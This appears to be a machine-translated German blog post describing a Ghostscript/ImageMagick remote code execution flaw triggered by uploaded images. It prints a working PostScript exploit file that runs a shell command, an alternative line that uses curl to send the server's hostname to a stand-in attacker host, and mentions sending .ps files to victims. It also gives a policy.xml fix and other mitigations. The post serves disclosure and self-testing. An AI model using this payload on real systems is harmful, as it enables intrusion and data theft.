Remote-Codeausführung durch Laden von Bildern auf Ihren Server oder lokalen Computer in Ghostscript / Imagick

Kurz gesagt: Wenn Sie Bilder auf Ihrer Site haben und diese mit der beliebten ImageMagick-Bibliothek verarbeiten, können Sie durch Hochladen eines Bildes einen Shell-Befehl mit den Rechten eines Webserver-Benutzers ausführen (z. B. RAT herunterladen, Miner, Quellen zusammenführen, auf die Datenbank zugreifen, einen Fehler verursachen usw.)

Es ist seltsam, dass die Nachrichten ( Original ) über neue Lücken in der GhostScript-Bibliothek und infolgedessen viele andere Bibliotheken, die sie unter der Haube verwenden, von der Habrosociety weitergegeben wurden. Was haben wir also?

Wie kann ich überprüfen, ob Ihr Server anfällig ist?

Wir nehmen die Test-PSP-Datei und laden sie anstelle des Bildes auf den Server hoch. Die folgende Beispieldatei schadet nicht viel - sie macht nur eine Verzögerung von 5 Sekunden. Wenn der Server länger als 5 Sekunden antwortet, haben Sie ein Problem: Entweder ist Ihr Dienst anfällig oder er ist sooooo langsam =)

%!PS % This is ghostscript bug 699714, a variant of 699687 (which is itself a variant of 699654). userdict /setpagedevice undef a4 currentpagedevice /HWResolution get 0 (foobar) put { grestore } stopped clear % make sure we have a device with OutputFile (ppmraw) selectdevice mark /OutputFile (%pipe% `sleep 5`) currentdevice putdeviceprops { showpage } stopped pop quit 

Schlüsselteam: Schlaf 5

Ein alternativer Befehl könnte sein

 mark /OutputFile (%pipe% curl evilserver.su/GHOSTSCRIPT-RCE-HOOK/`hostname`) currentdevice putdeviceprops 

oder etwas viel weniger harmloses.

Es gibt viele Ausbeutungsvektoren. Zusätzlich zum Herunterladen auf den Bildprozessor können Sie einfach einen Link zur .ps-Datei an das Opfer senden. Da in den meisten Betriebssystemen beim Speichern auf dem Computer eine Vorschau erstellt wird, führt dies auch zu einer Ausnutzung (persönlich auf dem Linux-Desktop getestet). Zum Zeitpunkt des Schreibens hat kein Antivirenprogramm .ps-Testdateien als gefährlich erkannt.

Was zu tun ist?

Leider haben Distributionsupdates trotz der Veröffentlichung von Informationen über die Sicherheitsanfälligkeit und der Korrektur des Fehlers möglicherweise keine feste Version.

Auf Servern können Sie eine vorläufige Überprüfung des Bildtyps mit einer Bibliothek eines Drittanbieters durchführen, durch die Policymap-Datei ImageMagick / policy.xml filtern und keine anfälligen Dateitypen verarbeiten. SELinux sollte auch einen Teil der Angriffsvektoren schließen, z. B. in nicht standardmäßige Ordner schreiben.

UPD: In den Kommentaren schreiben sie, dass die Sicherheitslücke in der Bibliothek immer noch nicht behoben ist!

UPD2: Fix für Fix für imagemagick, um die Verwendung von PostScript- und PDF-Dateien aus elvenpath zu verbieten : in der Datei /etc/ImageMagick-6/policy.xml oder /etc/ImageMagick-7/policy.xml, abhängig von der Version von ImageMagick, die Sie schreiben müssen:
 <policymap> <policy domain="coder" rights="none" pattern="{EPS,PS2,PS3,PS,PDF,XPS}" /> </policymap> 

Source: https://habr.com/ru/post/de422351/


All Articles